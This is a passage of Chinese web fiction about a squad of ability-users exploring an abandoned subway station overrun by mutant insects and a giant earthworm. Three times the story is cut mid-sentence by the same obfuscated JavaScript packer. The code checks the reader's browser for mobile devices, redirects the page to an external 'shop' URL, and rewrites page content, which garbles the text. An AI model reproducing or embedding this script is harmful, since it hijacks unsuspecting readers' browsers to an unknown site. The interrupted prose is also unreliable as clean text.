他取下捆在腰间的抓钩,一段绳子挂在手臂上,对允冬尽歪了下脑袋。 “走吧,我带你。” 把挖开的小洞扩大到两人可通过的大小,三十秒不到,忻昀和允冬尽也成功落地。 脚下的地面由松散的土壤转变成了光滑坚硬的材质,踩起来还有一层湿润的水渍,阴暗潮湿的环境是许多虫类生长的温床,在伸手不见五指的空间里,甚至无法辨别这些水渍是雨水还是什么黏液。 唯一能确定的,是潮湿空气里充斥的铁锈味。 地铁站太久没人使用,设施都腐朽老化了。 “我就这样开始记录吗?” 允冬尽把专用的检测仪拿出来,检测仪躺在他掌心,造型像一把小巧的手枪。 他昨天在论坛的信息员专区恶补到深夜,信息员干得最多的就是这类活,为此,他特意多带了一个小包。 班鸠是不会用空间帮他存东西的。 “效率会很低。” 忻昀娴熟地收回挂钩,他故意碰掉一片碎土,脏东西掉在班鸠头发上,搞得班鸠骂了他两句。 仅凭上方洞口漏下的光,看清脚下都难,必须有个人在边上打手电筒。 “不如还是分成两组?”子车回出主意道,“我记得允冬尽带了两台检测仪,备用那把给我吧,我和班鸠去另外一头测,分头行动,快一点。” 班鸠好像很喜欢附和子车回,她一说话就跟上:“好呀好呀。” 允冬尽:“也可以。” 只有忻昀没讲话,似乎在考虑什么。 子车回以为是自己没考虑周到,虚心请教:“昀队,分两小组走可以吗?还是有别的办法。” 班鸠:“昀队昀队~” 允冬尽被班鸠恶心得翻了个白眼,后者回敬了他一个中指。 “没什么,”忻昀的视线终于从虚无的前方收回来,好像只是短暂发了个呆,随意道,“按子车回说的做吧。” 于是允冬尽听忻昀的话把备用检测仪交给子车回,四人正式分开行动,商量好有情况就用耳麦沟通。 安静的地铁站内,两边越来越远的脚步声一清二楚。 “尽头就在这儿了,你看,墙上嵌了一截自动扶梯,”允冬尽找到了这一层的边缘,“地铁站通常有好几个入口,提供台阶和扶梯两种进站方式,原本这里是其中一个入口,只是被盖住了,我们才只能从蚂蚁洞进来。” 忻昀打着手电转了一圈,也有发现,他停在几个并排的铁盒子前,努力在记忆里翻找。 这个是叫,进站闸机? “我们以这里为标准点,开始记录坐标和异素浓度吧。” 打扫工作作为最简单的任务类型,执行起来无比的枯燥。 有允冬尽负责记录数据,忻昀就负责照明,手电筒拎久了,他忍不住打了个哈欠。 很久没干过这么没意思的活了。 早知道出发时间往后推一个小时,起太早了,好困。 感觉到小滕已经趴在他耳朵上打起瞌睡了,忻昀不由得羡慕,能不能让藤蔓替他拎着,他去睡会儿…… “你刚刚没有立刻答应分开行动,是在想什么?” 一直认真埋头干活的允冬尽突然出声。 忻昀稍稍收神:“分开不适合应付危险。” “哦?”允冬尽,“我们现在什么危险也没遇到吧?” 他又打了个哈欠:“……嗯,万一呢?” 他的确是这么想的。 黎既明队的信息员预测到极有可能减员,他后来去问了,这人虽然只是个一级都不到的低阶异能者,但预测这种事,宁可信其有不可信其无,忻昀仔仔细细想了一遍,一个破打扫任务,什么样的风险能导致减员? 最后他锁定在两个点上。 自然灾害,变异种袭击。 东流区受灾害侵袭的频率比北流区小多了,小灾不用跑,大灾跑不掉,为了以示对未来危机的尊重,他多看了几眼天气预报。 天气预报已经是不能信了,这个破雨爱下下,反正雨披穿了,尽人事听天命,有本事用雨点子砸死他。 变异种的话…… 在东流区,很难找出一只不听他话的变异种。 不过在这附近住的变异种是谁,他真记不太清了。 不说出去逛了一年,就是没去北流区前,忻昀也是和母树常年蜗居榕树酒店极少出门的……有什么事不是那群当手下的主动上门汇报?有什么好东西不是手下主动过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261223|198031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来献宝? 他为什么要知道手下具体住哪儿嘛! 他方才一直在努力回忆地铁站附近住的是谁、和他说过话的蚁后有哪几个。 然后失败了。 算了,早知道有今天,他也不会愿意去记哪个虫住哪个洞,爱谁来谁来吧。 忻昀又想起常部长的挑衅,顺嘴安慰了一下允冬尽:“放心,有危险我会保护你的,至于班鸠和子车回那边……” 允冬尽轻笑道:“那我先谢谢队长了。” “班鸠那边,也不用替他多担心。” 忻昀:“哦?好信任啊。” 他们不会是表面不对付实则超级好的关系吧。 他看过数量不多的人类小说几乎都是这么写的。 “我知道,他们两个海选赛排名都很高不是吗?”允冬尽嘴上和忻昀聊着天,手上的活一点不耽误,“而且,我算对他有一点了解吧?” “队长想不想知道班鸠那些武器都是从哪儿来的?” —— “专心一点啦回回。” “回回……” “回回!” “啊。”子车回手一抖,回过神。 班鸠满脸哀怨:“你怎么干着活还能分神啊,这样下去我们的进度被允冬尽他们超过了怎么办。” “都是队友了,你怎么还要和自己人比啊。”子车回叹气。 这个地铁站不愧为曾经全国排行第四的大型站点,她和班鸠跟忻昀、允冬金分别在两边,完全听不到对面的声音、看不见对面手电筒的光。 这让子车回慢慢焦虑了起来。 她猜到忻昀到底在犹豫什么了。 四个人分开,不好应对潜藏的危险。 ……一定是地下太黑了,希望她的担心是多余的。 又干了一会儿活,子车回发现自己还是无法彻底安下心来,她憋不住问班鸠:“你和我说的那个保命方法是什么,可以告诉我吗?” 确认组队前,忻昀不知情的情况下,班鸠和子车回见过一面。 两个人面对面争执了半小时,最终,妥协的人是子车回。 在这段争执的最后,班鸠轻轻握住子车回的手:“四个职位里,输出手的牺牲率排第一,不管你信不信,其实和你做队友,我挺开心的,多信任我一点吧,我会在这个位子上活下来的,我有一定可以脱离险境的办法,绝不会轻易死掉。” 这就是她妥协的原因。 没人敢保证自己在任务中百分百脱险,班鸠的底气又是从哪来的呢? “想知道呀?”班鸠猜到子车回会好奇这个,笑眯眯地在她旁边走来走去,“我就不告诉你~我就不告诉你~” “班鸠!” “诶呀好啦,非要知道的话我也不是不能说给你听,我的异能有一种功能,是……” 他说到最关键的地方,突然停下来了。 子车回以为他是故意的:“你吊我胃口?” 班鸠做了个停止的手势:“嘘。” “你先别说话,仔细听。” 异能者的身体强化后五感比正常人敏锐数倍。 “你有没有听到奇怪的声音?” 子车回屏息。 “这个声音,好像……” 与此同时,忻昀和允冬尽同时看向脚底。 允冬尽才觉醒没多久,身体强化程度远不及别的异能者:“是不是有声音,你听到了吗?” 忻昀自己没听见,是小藤在他耳边说话。 他的手按在枪上,又缓缓松开。 “……很刺耳。” “有车开进站了。” 9. 东亭地铁站(2) 早已停用的地铁站内,不该存在的列车挟着噪音飘来,又很快消失,仿佛已经奔向下一个站点。 几近封闭的地下一层无端刮来一阵阴冷的风。 允冬尽:“不是末世吗,我们怎么在灵异频道。” 忻昀:“你还挺幽默。” 允冬尽迟疑道:“你……确定吗?真是车来了?”他是唯物主义者。 “一半一半吧。”忻昀假装他听得很认真,其实形容词全是小滕给他汇报的内容拼凑来的,“像是车厢底部贴着轨道擦过去,绝对不是正常动力驱使下的运行。” 被夺走劳动成果的小滕气愤地捶了他两下。 “上一队的打扫记录里没提到过有什么特别的声音,”允冬尽重读了一遍信息部给的资料,“居然真的让我们遇到新情况了……队长,我们要下去找声音的源头吗?” “当然要找。” 有重大发现可是会额外加功勋点的,怎么能放过这种冲排名的好机会? 手头的工作也不能耽误。 他困意消散不少,按住耳麦:“你们那边进度如何?” “这样啊,那正好,剩下半边放着别动,我和信息员会处理。” “你们直接去负二层吧,顺便看看站台上的列车到底是什么东西。” —— “忻昀让我们放弃一层的打扫,直接去负二层。” 通讯中断,子车回转告班鸠这个消息。 排除灵异因素,最有可能制造怪响的就是变异种了。 她不禁怀疑自己:“我猜错了?”他犹豫不是因为怕分开容易遇到危险? “管他是什么原因。” 无聊的打扫工作班鸠早干不下去了,他欢呼一声,拉着子车回找下去的电梯:“有危险才好呢,给生活找点乐子,走咯!” 子车回:“你慢点……” 信息部提供的资料里,包括东亭广场站的站内示意图。 虽然不可抗力的破坏让示意图的参考价值降低不少,但有总比没有好。 东亭广场站因需要交汇三条路线,结构设计得较为复杂,各层间存在多条通道,三号线的站台位于负二楼,七号和十二号线同台换乘,位于负三楼。 子车回研究过示意图后带着班鸠轻松找到了前往三号线站台的通道,两台上下行电梯呈“Z”字型卡在负一和负二层中间,扭成了旋转楼梯。 做好直面变异种的准备,子车回踩着变形的电梯,先一步跳下来。 一落地,鞋底就泡进了一层脚感怪异的黏液里。 负二层的积水比上面多,吸口气,空气里是黏糊糊的湿意,她有些疑惑,如果负一层的水是雨水渗下来,负二层不该更干燥吗? 她开启异能,寻找黏液的来源,却看见了一大片白花花的东西。 “!” “怎么了?” 班鸠见她下去半天没吱个声,直接跳下来,想打开照明。 子车回阻止了他。 “有虫卵。” 而且快孵化了。 异素锁定这个异能会为拥有者视线内所有含高浓度异素的物体加上一层亮光,浓度越高,光越亮。 她见过最亮的变异种是榕树酒店的榕树,最亮的异能者是忻昀,。 而此时,铺满黏液的站台上,一簇簇白色虫卵贴着柱子、售卖机、座椅……任何一处它们可以倚靠的地方。 每个卵单拎出来都有鸡蛋大小。 它们的光并不刺目,但子车回能透过薄薄的卵壳,看清里面成型了的幼虫在扭动。 “虫类无非趋光或趋暗,无论哪种,贸然改变当下环境的光都容易刺激它们,”子车回快速给忻昀报备了负二层的情况,得到下一步指示后,对班鸠说,“你去查列车声音的来源,我来检查虫卵。” “这次不怕分开危险了?”班鸠临走前还要调侃她一下。 这话被耳麦另一头的忻昀听见。 “几只虫子,没什么好怕的。” “我和允冬尽就在上面,放手去吧。” 子车回是个不折不扣的学院派执行员,除了榕树酒店的经历,所有认知都来自于训练期老师的教导。 她清楚记得生物鉴别课本上每一种生物的知识,也正因如此,到了实践中,容易转不过弯。 “白色,米粒状,是蚂蚁卵。” 隔着手套,她大胆拨弄了两下卵簇。 蚂蚁土、蚂蚁卵、再加上资料里的蚂蚁变异种。 怎么看,这个地铁站都被打造成了一处蚁巢。 可蚁巢里没有一只蚂蚁守着,他们四个进入地铁站已经有一段时间,如果有变异种,早该被引出来了。 满地的黏液又是怎么回事? 隔着壳子,幼虫张大口器,想咬她的手。 中流区科研部的研究成果已经证实,普通生物和进化的变异种间存在一条鸿沟,当跨越那条鸿沟,异种会对同族外的生物产生极大的攻击性。 尤其是人类。 子车回退开一步,万幸,这只幼虫没有把卵咬破,提前出来。 她又换了一簇虫卵检查。 这簇虫卵大小不一,一堆鸡蛋中间夹着几粒鹌鹑蛋。 “同一时期产下的卵大小不一样?”她下意识认为这些也是蚂蚁,上手捏起一颗卵,“差距太大了,里面的幼虫长得也……” 来不及进一步观察,她丢掉卵,侧身一躲。 要不是维持着异能开启的状态,她刚刚险些没发现,有东西在身后。 半人高的黑黄色虫子从暗处冲出,被堪堪避开。 一击不成,它却没有回转的势头,而是扑到卵簇上,把所有偏小的卵都收集起来,藏在腹下,六条腿中的两条抬起,护住腹部。 子车回自认为是个敏锐的人,却一点没有察觉到这只变异种的存在,她拔出枪,对准突然出现的变异种,心脏狂跳。 这……真的蚂蚁? 下一秒,“蚂蚁”头顶的触角动了动,仰头喷出一口黏液。 子车回躲到柱子后,黏液没能打中她,糊在柱子上发出“滋滋”的响声,搪瓷钢板被腐蚀出坑洞。 要是真的喷在身上,恐怕作战服都护不住她。 看来是她抚摸虫卵的行为刺激到了“蚂蚁”。 也亏得榕树酒店的行动她参与了,已经见过更强大的变异种,在面对相对弱小的变异种时,她好像没那么害怕。 尽管这是第一次正式任务。 “有变异种。” 给另外三个队友递出消息,子车回把全部注意力集中在“蚂蚁”身上。 靠着异能优势,她在跑出柱子背面的瞬间开出三枪。 命中两枪。 受了伤的变异种没有发声器官,只能通过抽搐的触角看出它的痛苦,两者间本就岌岌可危的边界被打破。 “蚂蚁”放弃黏液攻击,朝她爬来。 子车回本来觉得执行员选拔赛的决赛设置成一场室内障碍跑是很荒谬的一件事。 但她现在被爬得和沙发底下的蟑螂一样快的巨型“蚂蚁”追着,突然又认同了总局。 ……也许,被变异种追着跑就是执行员真实的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261224|198031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日常呢。 变异种一时半会儿追不上本届东流区执行总局选拔赛冠军。 普通子弹能对变异种造成的伤害有限,变异种的一身外壳也不是白进化的,子车回就这么边躲边往轨道跑。 这场捉迷藏持续了有一会儿,子车回有耐心,但她没想到,“蚂蚁”被逼急了,竟然会凭空长出一对翅膀,飞起来追她。 看着光团突然起飞的那一刻,她脑子有点发懵。 变异种翅膀上分布的异素很稀薄,子车回的异能等级不够高,看不太真切。 “愣着干嘛!” 眼看“蚂蚁”就要啃到脸上了,一道身影及时地闪到她面前。 空间屏障在黑暗中散发出荧荧蓝光。 “你回来得够及时啊。” 队伍的输出手回来了,子车回心安理得地躲在他身后。 “我去轨道看过了,下面的黏液很深,快没过膝盖,站台上的黏液和轨道里的是同一种。”班鸠不仅是说给子车回听的,也是给忻昀听的,“你的要求我们干完了,你们呢?” 电子设备让忻昀的声音有点失真。 “负一层打扫已完成。” “很高兴的告诉大家,我们在所有今天出勤的小队里,是上传阶段性数据的最快的一支队伍。” 下一句,他的声音变清晰了,甚至很近…… 子车回抬头。 啊,原来是忻昀真的来了。 半坍塌的地下建筑本就不牢固,被砸得半穿的天花板摇摇欲坠,时不时滴水,现在,最大的一条裂缝被一截藤蔓撑开。 忻昀一跃而下,和队友成功汇合。 小藤功成身退,回到忻昀身边,变成一枚指环缠在大拇指上。 班鸠的屏障碎了。 但“蚂蚁”不敢上前。 子车回:“它在发抖。” 班鸠:“这就是异种亲和吗,完全不敢动了。” 忻昀不想多说有关“异种亲和”的问题,班鸠也不在意,他发现少了个人,问:“允某呢?” 忻昀:“他不敢直接跳,去找电梯了,一会儿就来。” 班鸠:“噗,这点高度都怕,纯菜。” 有队友在身边安心多了,但子车回依然不敢掉以轻心,她知道危机尚未解除:“是我动了虫卵才激怒了它……好奇怪,这么多的卵,只有它一个工蚁吗?为什么它只保护了看上去发育不良的几个呢?” 几人还处在摸黑的状态,忻昀也认为不该开手电筒,于是让她把遭遇从头到尾讲了一遍。 他听完心里就有数了。 “这不是蚂蚁。” “不是?” “在生活区和人共生的虫类很多,拥有翅膀、在潮湿处筑巢、外形和蚂蚁相似并且体内藏有强酸。” “是‘飞蚂蚁’,隐翅虫的特质。” “隐翅虫?” 一整个训练期生物鉴别课都是睡过去的班鸠发出痴呆的声音。 子车回恍然大悟。 忻昀不是很想在这种时候停下来给人讲课,但看他俩的样子,有些对于执行员来说是基本常识的内容不讲清楚,恐怕后面还会遇上大麻烦。 算了。 “不打灯是正确的,假如这只隐翅虫的同族也埋伏在附近,一旦有光,不管你有没有碰虫卵,它们都会出来攻击你……” 正当忻昀打算做做科普。 沙沙沙、沙沙沙…… 那个奇怪的声音又响起来了。 这次就站在站台上,他们都听得一清二楚。 列车真的来了。 10. 东亭地铁站(3) 在黑暗中适应了这么久,忻昀并非完全看不清。 结合声音,他想辨别列车的状态和大致位置不难。 被压制的隐翅虫趁他们不注意,揣着卵偷偷溜走了,但此时没人有心思管它。 “那是……” 班鸠眼中闪烁着兴奋的光,他不由自主地想去站台边一探究竟。 “当心!” 忻昀眼疾手快揪住班鸠的后颈,他抓着两名队友往边上用力一推,在最后关头,拇指上的藤蔓化作绳索,将他也快速拽离。 轰—— 向前行驶的列车突然改变方向,车头冲上站台,屏蔽门早已失去隔开候车区乘客和地铁轨道的作用,在剧烈撞击下炸开。 轨道底部沉积的液体因列车的到来溢出到站台上,破裂的碎渣掉进黏液里。 子车回被这一幕震得手脚发麻,说不出一句完整话来。 “这、这。” 车厢横在站台上,她看见铁皮壳下,细长的、密密麻麻的腿伸出来,不停地抽动。 是这些腿,撑起了列车,把它带到了这里。 与其说是腿,不如说是某种生物的触须或触手,很柔软,潜进液体里如水蛇般灵活,它们在一阵短暂的混乱之后迅速调整了状态,伸直伸长,在站台上四处摸索。 几根触须小心翼翼地绕开忻昀,撞上了班鸠和子车回的腿,茫然地掉了个头。 有触须摸到卵后,附近的触须便和它一起,在虫卵上缠绕好几圈,把虫卵包得密不透风。 然后拖走,塞入车厢。 没有经验的执行员还在发呆,老手已经掏出联络器开始录像了。 执行局的联络器摄像功能一流,据说解析应用了中流区视野员的夜视异能,不开闪光灯拍照录像也清晰。 存好用来上报给信息部换取功勋点的重要资料,忻昀听见子车回颤抖的询问:“队长,我们是不是该撤了?” 这个场面,好像已经超出清扫工作的范围了。 “撤什么,它又没攻击我们。” 班鸠摩拳擦掌:“你难道不想知道它为什么收集虫卵吗?” 人虫有别,子车回真的不是很好奇变异种的私生活,又拉不住班鸠,只好把目光投向队伍里真正的决策者,忻昀。 昀队看起来正在思考。 他一定会做出正确的选择的,比如,额,放弃任务撤退什么的。 子车回想。 执行员正式就任前会做一个资质检测,很快,十五分钟左右,她只做了视野员的检测,无非是观察力和敏锐度测试。 听说,输出手是火力压制测试;信息员是分析和收集测试;队长是决策测试。 能获得队长资质,忻昀的决策力肯定是没问题,要相信测试结果、相信队友、嗯…… 小藤在忻昀的手套上把自己蹭干净了,重新爬回他耳朵上,它新开出两朵白色的花,忻昀扶着花,和它交流。 渐渐的,他表情凝重了起来。 “我跟着上车,看看列车去哪儿。” 子车回表情像是被雷劈了。 班鸠:“好耶!我也去!” “你留下,配合允冬尽把剩下两层的数据测了。” 这下班鸠也被雷劈了。 看到他俩都不高兴了,忻昀的心情反而好了点。 原来这就是网上说的把自己的快乐建立在别人的痛苦上,有点道理。 队长在一个执行小队里拥有无可置疑的决策权,这是H国执行局铁律,高危的工作环境最忌讳团队中存在两种声音。 所以从加入执行局的那一天起,长官和前辈们就会反复告诫新人:要听队长的话。 哪怕他的决定会让你牺牲。 对队伍的绝对掌控权让不少人对队长这个位置趋之若鹜,更多的人则因害怕承担责任,选择另外三个位置。 忻昀没有官瘾,如果有官瘾,他不来卧底才是最享受的。 母树送过他很多份礼物,其中最早的一份,就是权利。 母树要求它的手下,不止变异种,哪怕是未进化的一株草、一朵花,都要敬他、爱他、听命于他。 他想当这个队长,纯粹是为了行事便利。 为了有朝一日真的去往中流区,更好地帮助母亲。 看,好处现在不就体现出来了吗。 班鸠和子车回明显对他的决定不满意,但都不会提出拒绝。 忻昀不愿意给刚凑起来的队友留下独断专行的印象,想了想,还是编了理由,解释几句。 “我没忘记,‘打扫’才是这次任务的根本,”他先是对子车回说,“安全最重要,害怕的话,就和班鸠允冬尽待在一起,锦上添花的事交给我吧。” 他从口袋里摸出一枚小鸟形状的金属徽章,塞到子车回手里。 执行员工作服上的金属徽章有微弱的驱虫功效。 他们在东流区的队伍等级低,徽章的效果不好,北流区给他配的徽章是最高级的,所以即使把衣服压到了箱底,朱雀徽章还是被他随身携带。 现在交给了子车回。 子车回握紧徽章。 忻昀转头。 “班鸠。”他嘱托。 “先陪允冬尽和小回把地铁站里的数据测完,拜托了,隐翅虫可能会成群出现,这里需要你。” “只有你能做到。” 他语气郑重。 “我尽量快去快回。” “如果是你们这边先完成……请你到时候来找我,来帮我。” 班鸠心中一动。 说完,忻昀起身走出掩体,猫着腰靠近车厢。 不一会儿的工夫,站台上的虫卵已经被列车“吃”走一大片,感觉到车厢内空间塞得差不多了,列车里的未知生物扭了扭,慢慢往后撤。 触须们扒着地板,把沉重的身体一点一点推回轨道。 触须塞虫卵走的是列车底部撑裂的口子,车厢侧边供乘客上下的门紧闭着,忻昀抓准时机,抓住门边,拔出藏在腰后外套内的刺刀插入门缝—— 感谢时间和潮湿,曾经能把人夹到骨折的地铁门被大力撬开,忻昀收刀,跳进车内。 列车即将回到正轨。 “等我一下!” 最后关头,有道身影冲了过来,忻昀下意识转身,伸手拉住。 他拽住了子车回的手,用尽全力,把她拉上车。 敞开的车门在站台边卡了一下,触须们重新关拢门,就此,列车重归轨道。 沙沙沙、沙沙沙。 它发车了。 忻昀没有问子车回为什么最后还是选择跟了上来,既然来了,那就一起走下去。 “你能看见车厢里有别的变异种吗?” 子车回异能开启时间有点久了,眼睛泛酸。 她揉了揉眼睛,仔细看遍每个角落:“至少我们待的这几节车厢附近,只有虫卵。” “但是中间……” 忻昀示意她暂时停止使用异能,打开照明。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261225|198031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 光照亮脚下,是和站台上一样的黏液,因为列车底部裂开的缝隙很多,黏液不停往下漏,所以只有浅浅一层,他和子车回贴着车厢壁站着,脚边挨着的全是被黏液湿润了的虫卵。 再照向正前方。 幸好他们是贴边站的,多往前一点,就要撞上贯穿了车厢壳子的圆柱形躯体了。 这具几乎占了车厢内空间四分之三空间的紫灰色身体,就是使列车启动的罪魁祸首。 触须连在它身上、黏液也来自它。 一只庞大的变异种。 离得近了还是沟通不了吗。 忻昀和小藤在脑海中说话。 小藤委委屈屈地摇头。 忻昀想上车的目的,一半是为了尽善尽美地完成任务获取更多功勋点,另一半,则是因为他在站台上的时候意外发现这只变异种的状态很奇怪。 它好像疯了,意识不清醒,藤蔓无法和它沟通,但又目的明确地带走了虫卵,想要送往某个地方。 母树不在东流区,他有义务替母树管理好这里的变异种。 “我们现在该怎么办?”子车回问。 忻昀就这样一脸正经地在工作时间处理私事。 “不知道它要开多久,会在哪个站台停下来。” “走,我们去前面的车厢看看。” —— 允冬尽第二次听到了列车进站的声音。 他有意加快脚步,但心理上没适应从普通人到执行员的身份转变,下电梯的时候还是过分小心,生怕摔了。 “可算找到你了,磨磨唧唧。” 班鸠瞬移到他身边,抓住他的袖子直接把人带到负二层。 负二层经历过一场“浩劫”,剩下的虫卵东倒西歪,一看就不正常,允冬尽隐约察觉到事情不对劲:“忻昀和子车回怎么没跟你在一起?刚刚发生什么了?” “他们上车了。” “……上车了?” “是的,重新分组行动了,现在我和你是新的一组,我要保护你完成剩余两层的打扫检测。” 允冬尽:“……” 班鸠:“不许摆臭脸!你以为我乐意保护你?你以为我想和你待在一起?!” 到最后,忻昀的决策让除了他自己外的三个人都不高兴了。 允冬尽冷笑:“那你怎么不抗议?” 听到这话,班鸠沉默。 半晌,他微抬下巴,一本正经道:“我自愿服从命令,哪像你,无组织无纪律。” 允冬尽:“?” 负二层恢复平静,躲在暗处的隐翅虫又蠢蠢欲动,弄出窸窸窣窣的动静,班鸠从空间中抽出枪,把允冬尽护在自己身后:“昀队和你说了没,测量数据的进度我们队目前是第一。” “说了,然后呢?” “没什么,别多想,我保护你只是因为喜欢第一。” 允冬尽被他在班鸠身上从没见过的态度搞得愣了一下,随即笑道:“倒也不是为了你,该做的我会尽力做好……说真的,忻昀刚刚给你灌的什么迷魂汤,让武器岛大名鼎鼎的班鸠少爷这么没脾气?” 武器岛,H国唯一游离在五大区外的领土,执行局的军火储备库,非公民口中的避难圣地“桃花源”。 他哼哼:“这算什么迷魂汤,我脾气一向很好,我这么厉害,他就该信任我。” “不止他——你们,全都该信任我。” “继续测吧,搞快点”班鸠抬枪,“测完我带你去看地铁成精。” 11. 东亭地铁站(4) 每个成精地铁的背后都有一只不停蠕动收缩往前跑的变异种在努力。 空间太过狭窄,还要注意地上时不时扭动一下的虫卵,忻昀和子车回每一步移动都进展得十分艰难。 相反,他们感觉到,这趟车是越开越快了。 “三号线,同林路方向,我记得东亭广场站的下一站是于尧路,”子车回出发前把三条交会地铁线路的所有站点背下来了,她没想到真有机会用上,“于尧路是个很小的站点,昀队,你说它会在那里停下吗?” “不一定。” 列车似乎遇到了什么障碍,需要绕开。 变异种抬起上半身爬过去,车厢随着它的动作一端翘起,像极了脚底石板会倾斜让人滑下去的密室。 工作服配的军靴帮了大忙,鞋底的花纹做了抓地设计,两人彼此搀扶,都站得很稳,他想了想,问:“你只能看到它身体里的异素浓度,看不出它的物种对吗?” “是的。” “那你要不要猜猜,它是什么?” 子车回心里警铃大作。 事实证明,考虑得越多,越容易想偏,子车回半天才憋出一个“禾虫”的答案,然后紧张地看着忻昀。 这只变异种身体细长,一节一节的,还长了疣足,和生物鉴别课上禾虫的特征完美相符。 忻昀很关心她:“你是不是饿了?” 他听说有个地方的人很爱吃禾虫,禾虫焗蛋味道特别香。 子车回:“……我吃早饭了。” “死记硬背没用,我算吃教训了,”她有点沮丧,看来是经验不足的问题,出完任务回去得多补补课,“你直说吧,它是什么?” 应试教育害人。 忻昀叹气:“禾虫生活在水里就没上岸过,它只是一条长了腿的蚯蚓啊。” 事情的真相往往就是这样朴实无华。 人类离开地面,给其他生物扩出了生存空间,虽然各国都不乏精力旺盛阖家迁移的种群案例,尤其是本来就有迁徙习惯的候鸟。 但赖在原地才是更多生物的选择。 像城市这种已经遭到严重污染的环境,原住民懒得出去,别的族群不想进来。 五年过去,驻扎在这儿的还是那群人类最熟悉的“好朋友”。 老鼠、蚂蚁、蚊子、苍蝇、蚯蚓、蟑螂、隐翅虫、鼻涕虫…… 它们的危险度不高,但长得恶心处理起来还麻烦,杀不尽抹不灭,最适合给新人执行员练手。 功勋点不足、没有竞争力的低阶队伍也只能长期和它们打交道。 “蚯蚓,那它岂不是会挖地道?”子车回这下明白为什么忻昀说列车不一定会在于尧路停靠了,“不知道它最终要去哪里,会不会跑到其他队伍的任务地点。” 她打开了联络器的定位功能。 忻昀:“看得到位置吗?” 子车回:“没信号了。” 忻昀按了两下耳麦,耳麦也用不了。 他们和另外两个队友失去了联系。 联络器这个东西除了窝在宿舍里刷论坛加载速度飞快,出任务时在任何环境掉线都很正常,忻昀早习惯了。 最值得依赖的工具,还得是自身的“异能”。 他又一次催促小花。 真的没法和这只变异种搭上话吗? 比起刚才,他们之间的距离又接近了一点。 一般来说,小花和对方产生思维信号的器官越近,沟通渠道的搭建就能越顺利,大多生物的思考器官都是大脑,小部分植物会特别一些。 比如母树,它的神经密布在最粗树干的中心。 蚯蚓有脑子,长在身体的第三个环节上,忻昀估摸着他和子车回已经到前两节车厢了,应该能说话才对。 小花哭唧唧。 都说了不是距离的问题! 忻昀:你喊大声一点。 小花:也不是音量的问题!! 小花:它就是,很悲伤啊!你懂吗,它沉浸在悲伤的情绪里无法自拔了。 我骗它母树来抓不听话的小孩炖汤喝咯反正你身上最不缺母树的气息了,结果它哭得更大声了! 为什么哭它倒是哼哼两句呢,也不讲,就蒙头哭!边哭边跑! 藤蔓很少一口气说这么长的话。 累得它差点养分供不上把花给谢了。 小花在忻昀耳畔虚弱地晃了晃,白色的花朵实在惹眼,子车回想不注意到都难,她眼前一亮:“你在和小绿交流吗,这只变异种说什么了?” 忻昀如实相告:“它难过得说不出话来。” 子车回:“蚯蚓有什么好难过的。” 忻昀:“就是说啊……” 至少这只蚯蚓是自愿在这个点醒来的,那他呢? 他可是为了工作、为了长远大计、为了变异种的未来才牺牲睡眠早早起床来到这里的! 它有什么好难过的,难过的不该是自己吗。 “它不难过了是不是就能说上话了,劝它跑慢点也好啊,”子车回被这趟车颠得有点晕,“有什么办法能哄哄它吗?” 这话说出来,忻昀和子车回都沉默了一下。 见过执行员杀变异种的,没见过执行员哄变异种的。 倒提醒她了。 “死马当活马医吧。” 子车回趁车行驶还算平稳的几秒里,找准时机朝蚯蚓开了一枪。 忻昀猝不及防听到枪声,眉心一跳。 “没用的。” 子弹穿过黏液层,扎进变异种的身体里。 蚯蚓是修复能力极强的无脊椎动物,它感觉不到痛,加上有黏液做缓冲,普通的子弹对它来说伤害不大,受到刺激也只是多扭了两下,这枚子弹没给它造成多少伤害,反倒是车厢因它动作起伏的那一下对忻昀和子车回的伤害比较大。 忻昀死命拉住头顶的吊环拉手。 子车回倒在蚯蚓上,被它身体弹床一样的柔软吓得一激灵:“要不我们还是想想怎么哄哄它吧!” 班鸠:“不是在出任务吗?你们要哄谁?” 通讯突然连上了。 班鸠的声音断断续续,不稳定的通话不知何时会再次断开,忻昀打开定位,果然,其他功能也暂时恢复了使用。 这个行进方向……他们原来已经在不知不觉中偏离原轨道这么远了! 子车回:“哄变异种。” 班鸠:“你说的是H国官方语言吗。” 又是两声枪响,忻昀以为是子车回没死心想再试试,结果眼睛一扫,人家好好站在身边没动,开枪的是允冬尽和班鸠那边。 子车回:“那你在干什么。” 班鸠:“杀变异种。” 地铁站负二层。 允冬尽定下最后一个点的坐标,开始测量。 为了减少使用照明,在忻昀离开的这段时间里,他逼着自己学会了异能的新使用方法。 不需要用眼睛去看,设备在他手上,测量结果一出,他就能通过机械内的电流、甚至可能微观到电子的走向,在显示屏跳出答案前,抢先一步得知计算结果。 